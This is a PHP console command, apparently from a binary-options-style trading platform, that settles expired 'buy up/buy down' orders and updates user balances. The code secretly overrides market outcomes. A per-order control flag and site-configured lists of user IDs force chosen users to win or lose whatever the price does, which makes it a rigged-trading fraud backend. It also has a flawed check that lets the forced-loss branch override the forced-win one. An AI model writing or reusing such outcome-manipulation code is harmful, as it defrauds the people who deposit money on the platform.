<?php
/**
 * Created by PhpStorm.
 * User: Monkey
 * Date: 2023/5/4
 * Time: 13:54
 * Desc: 订单处理
 */
declare (strict_types=1);

namespace app\command;

use app\extend\model\OrderLog;
use app\extend\model\Product;
use app\extend\model\User;
use app\extend\model\WebsiteConfig;
use think\console\Command;
use think\console\Input;
use think\console\Output;
use think\facade\Db;

class Order extends Command
{
    protected function configure()
    {
        $this->setName('order')->setDescription('平仓订单');
    }

    protected function execute(Input $input, Output $output)
    {
//        while (true) {
            $nowTime = date('Y-m-d H:i:s');

            //获取订单详情
            $orderInfo = \app\extend\model\Order::where([
                ['status', '=', 0],
                ['selltime', '<=', $nowTime],
            ])->find();

            if (empty($orderInfo)) {
                exit('暂无订单');
            }

            //获取网站配置
            $websiteConfigInfo = WebsiteConfig::where([
                ['id', '=', 1]
            ])->field('id,ying_uid,kui_uid')->find();

            $productDataInfo = \app\extend\model\ProductData::where([
                ['product_id', '=', $orderInfo->product_id]
            ])->field('id,product_id,price')->find();

            $productInfo = Product::where([
                ['id', '=', $orderInfo->product_id]
            ])->field('id,point_low,point_top')->find();

            //此刻可平仓价位
            $sellprice = fengkong($productDataInfo->price, $productInfo);

            $orderCha = round(floatval($sellprice) - floatval($orderInfo->buyprice), 6);

            //强制订单盈亏
            if ($orderInfo->kong_type == 1) {//盈利
                $orderCha = 1;
            }
            if ($orderInfo->kong_type) {//亏损
                $orderCha = -1;
            }

            //强制亏损
            if (in_array($orderInfo->uid, explode(',',$websiteConfigInfo->kui_uid))) {
                $orderCha = -1;
            }
            //强制盈利
            if (in_array($orderInfo->uid, explode(',',$websiteConfigInfo->ying_uid))) {
                $orderCha = 1;
            }

            if ($nowTime >= $orderInfo->selltime) {
                try {
                    // 启动事务
                    Db::startTrans();

                    //订单
                    $saveOrderData = [
                        'status' => 1
                    ];

                    //订单日志
                    $saveOrderLogData = [
                        'uid' => $orderInfo->uid,
                        'order_id' => $orderInfo->id,
                        'created_at' => date('Y-m-d H:i:s'),
                        'updated_at' => date('Y-m-d H:i:s'),
                    ];

                    //需要增加的钱
                    $price = 0;
                    if ($orderInfo['type'] == 1) {//买涨
                        if ($orderCha > 0) {//盈利
                            $yingli = $orderInfo->fee * ($orderInfo->endloss / 100);
                            $price = $yingli + $orderInfo->fee;
                            $saveOrderData['is_win'] = 1;
                            $saveOrderLogData['addprice'] = $price;
                        } elseif ($orderCha < 0) {//亏损
                            $yingli = $orderInfo->fee * ($orderInfo->endloss / 100);
                            $saveOrderData['is_win'] = 2;
                            $saveOrderLogData['addprice'] = 0;
                            $price = $orderInfo->fee - $yingli;
                            $yingli = '-' . $yingli;
                        } else {//无效
                            $yingli = 0;
                            $price = $orderInfo->fee;
                            $saveOrderData['is_win'] = 3;
                            $saveOrderLogData['addprice'] = $price;
                        }
                    }

                    if ($orderInfo['type'] == 2) {//买跌
                        if ($orderCha > 0) {//盈利
                            $yingli = $orderInfo->fee * ($orderInfo->endloss / 100);
                            $price = $yingli + $orderInfo->fee;
                            $saveOrderData['is_win'] = 1;
                            $saveOrderLogData['addprice'] = $price;
                        } elseif ($orderCha < 0) {//亏损
                            $yingli = $orderInfo->fee * ($orderInfo->endloss / 100);
                            $saveOrderData['is_win'] = 2;
                            $saveOrderLogData['addprice'] = 0;
                            $price = $orderInfo->fee - $yingli;
                            $yingli = '-' . $yingli;
                        } else {//无效
                            $yingli = 0;
                            $price = $orderInfo->fee;
                            $saveOrderData['is_win'] = 3;
                            $saveOrderLogData['addprice'] = $price;
                        }
                    }

                    //处理用户金额
                    User::where([
                        ['id', '=', $orderInfo->uid]
                    ])->inc('balance', $price)->update();

                    //平仓处理订单
                    $saveOrderData['sellprice'] = $sellprice;
                    $saveOrderData['ploss'] = $yingli;
                    \app\extend\model\Order::where([
                        ['id', '=', $orderInfo['id']]
                    ])->update($saveOrderData);

                    //记录订单日志
                    $saveOrderLogData['balance'] = User::where([
                        ['id','=',$orderInfo['uid']]
                    ])->value('balance');
                    OrderLog::insert($saveOrderLogData);

                    Db::commit();
                    echo "ID：{$orderInfo['id']}处理完成\n";
                } catch (\Exception $e) {
                    Db::rollback();
                    echo "ID：{$orderInfo['id']}，错误：{$e->getMessage()}\n";
                }
            }
        }
//    }
}